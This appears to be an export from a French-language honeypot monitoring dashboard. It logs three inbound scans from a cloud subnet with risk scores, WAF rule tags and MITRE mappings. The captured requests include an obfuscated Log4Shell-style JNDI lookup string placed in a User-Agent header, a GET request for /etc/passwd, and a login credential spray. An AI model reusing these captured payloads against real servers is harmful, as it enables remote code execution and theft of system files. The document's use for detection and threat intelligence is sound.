${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6h:-:}${mol:-l}${k3e:-d}${c:6ru5:6:-a}${4er:-p}${ae9:xs9:-:}${p:-/}${f:-/}${6h:v:-U}${o6:-A}${36o:-l}${al:-0}${jh:zn5:fn:-c}${zj:091e:--}…
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:2083
Accept: */*
User-Agent: ${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6h
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:2083 Accept: */* User-Agent: ${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6h:-:}${mol:-l}${k3e:-d}${c:6ru5:6:-a}${4er:-p}${ae9:xs9:-:}${p:-/}${f:-/}${6h:v:-U}${o6:-A}${36o:-l}${al:-0}${jh:zn5:fn:-c}${zj:0
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "d8f43ec2d34fd13d68743fc4bc62326c0d139ce3",
"http_host_hash": "ea42ecbc54c9c495a92c7dd11f2463e9f5b9ede0",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 1398,
"payload_entropy": 4.797755783591922,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 2.4,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 45,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "16fe7c0b7577756e38a50f14030b0a17279a2a6c",
"event_fingerprint": "fd4a51dbd7a851ae81324cfd190fb8c00f059275",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "d9279567b109f811459c457f863c14ba",
"payload_hash": "660d624f5cbdefeb813d308c2a2c6a9c",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 45
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: ${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6h",
"method": "GET",
"path": "\/",
"user_agent": "${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6h:-:}${mol:-l}${k3e:-d}${c:6ru5:6:-a}${4er:-p}${ae9:xs9:-:}${p:-\/}${f:-\/}${6h:v:-U}${o6:-A}${36o:-l}${al:-0}${jh:zn5:fn:-c}${zj:091e:--}${${7dwf:j:-s}${s:17dn:i:-y}${ty:ewm:-s}${u1:-:}${7zl5:-\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: ${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6h:-:}${mol:-l}${k3e:-d}${c:6ru5:6:-a}${4er:-p}${ae9:xs9:-:}${p:-\/}${f:-\/}${6h:v:-U}${o6:-A}${36o:-l}${al:-0}${jh:zn5:fn:-c}${zj:0",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: ${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6h",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6h:-:}${mol:-l}${k3e:-d}${c:6ru5:6:-a}${4er:-p}${ae9:xs9:-:}${p:-\/}${f:-\/}${6h:v:-U}${o6:-A}${36o:-l}${al:-0}${jh:zn5:fn:-c}${zj:091e:--}${${7dwf:j:-s}${s:17dn:i:-y}${ty:ewm:-s}${u1:-:}${7zl5:-\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: ${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6h:-:}${mol:-l}${k3e:-d}${c:6ru5:6:-a}${4er:-p}${ae9:xs9:-:}${p:-\/}${f:-\/}${6h:v:-U}${o6:-A}${36o:-l}${al:-0}${jh:zn5:fn:-c}${zj:0",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: ${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6h",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "ae764c4e2a050d8d5d880061ad17b89cb012ceff",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6h:-:}${mol:-l}${k3e:-d}${c:6ru5:6:-a}${4er:-p}${ae9:xs9:\u2026",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: ${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6h",
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe)",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 45\/100",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 45,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6h:-:}${mol:-l}${k3e:-d}${c:6ru5:6:-a}${4er:-p}${ae9:xs9:\u2026",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: ${${0u1:f:-j}${esov:stqm:0l:-n}${z5k:qv6t:03:-d}${vs:c:f:-i}${6h",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"node-http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 12,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true,
"behavior_alert_count": 1,
"behavior_priority": 72
}
30/07/2026 18:37:29 UTC
TCP
3128 · HTTP
Traversal LFI
lfi path traversal · via HTTP:3128 · (tentative d'exploit) · → /etc/passwd
Élevée
Élevé · 71
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1083
TA0001
TA0002
Protocole
GET /etc/passwd UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950264:lfi-1
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/etc/passwd
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
3128
Chemin / cible
/etc/passwd
Pourquoi cette classification : Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 71
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1083
pat-0716
pat-0802
pat-0137
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930160 etc passwd
MITRE T1083 file enum
SSRF Any-address SSRF
LFI path /etc/passwd
Ligne de requête
GET /etc/passwd HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /etc/passwd HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:3128
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh;
Requête brute (extrait)
GET /etc/passwd HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:3128 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "aeee5f363fd009c4189d5b30fa8b39434744cf71",
"http_target_hash": "b5cc3f676d00dd320d85ef41a5209fa0a99891ea",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 226,
"payload_entropy": 5.40761562826063,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 3128,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.6,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 71,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "a81c826e0c833ee2c9a0ce4544f62c5da7f50013",
"event_fingerprint": "e4c60738555ccbc89988adfdeac5d72abd619b69",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 344,
"precision_signals": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137",
"CRS-930100-sub"
],
"kb_rule_ids": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137",
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0716",
"pat-0802",
"pat-0324",
"pat-0137"
],
"matched_pattern_names": [
"CRS 930160 etc passwd",
"MITRE T1083 file enum",
"SSRF Any-address SSRF",
"LFI path \/etc\/passwd"
],
"pattern_ids": [
"pat-0716",
"pat-0802",
"pat-0324",
"pat-0137"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "ad3424fa492c92bc0c6410a8d935d6f2",
"path_pattern_hash": "74acf31844532670be412c65b8251ee5"
},
"target_context": {
"dst_port": 3128,
"service": "http",
"service_name": "http",
"risk_score": 71
},
"payload_preview": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"method": "GET",
"path": "\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"evidence": {
"method": "GET",
"path": "\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2e25b1f97f74904a3f12b83b31d7b10a73ac4c80",
"protocol_details": {
"http_method": "GET",
"http_path": "\/etc\/passwd",
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3128,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"attack_vector": "lfi path traversal \u00b7 via HTTP:3128 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/etc\/passwd",
"target_port_label": "3128 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 71\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 71,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 3128,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137"
],
"tags_summary_labels_fr": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/etc\/passwd",
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3128,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:3128 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/etc\/passwd",
"evidence_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"target_port_label": "3128 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "3128"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"node-http",
"weblogic"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:37:29 UTC
TCP
3000 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:3000 · (sonde / probe) · → /login
Élevée
Élevé · 71
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
3000
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 71
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: 62.3.50.33:3000
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi
Requête brute (extrait)
POST /login HTTP/1.1 Host: 62.3.50.33:3000 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Type: application/json Content-Length: 1606 {"username"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120343034204e6f7420466f756e640d0a582d506f77657265642d42793a20457870726573730d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2031320d0a0d0a43616e6e6f7420474554202f",
"emulator_response_len": 106,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "46f5955a67387b75de712e640b0687c888a438e5",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 1851,
"payload_entropy": 5.092945077697868,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 3000,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.6,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 71,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "c985ef69cd6ce2382bbe3d8612b72e2fc7199fc1",
"event_fingerprint": "be22a7c9c4031507ab1bb9ac595347fde6ee290f",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 71,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
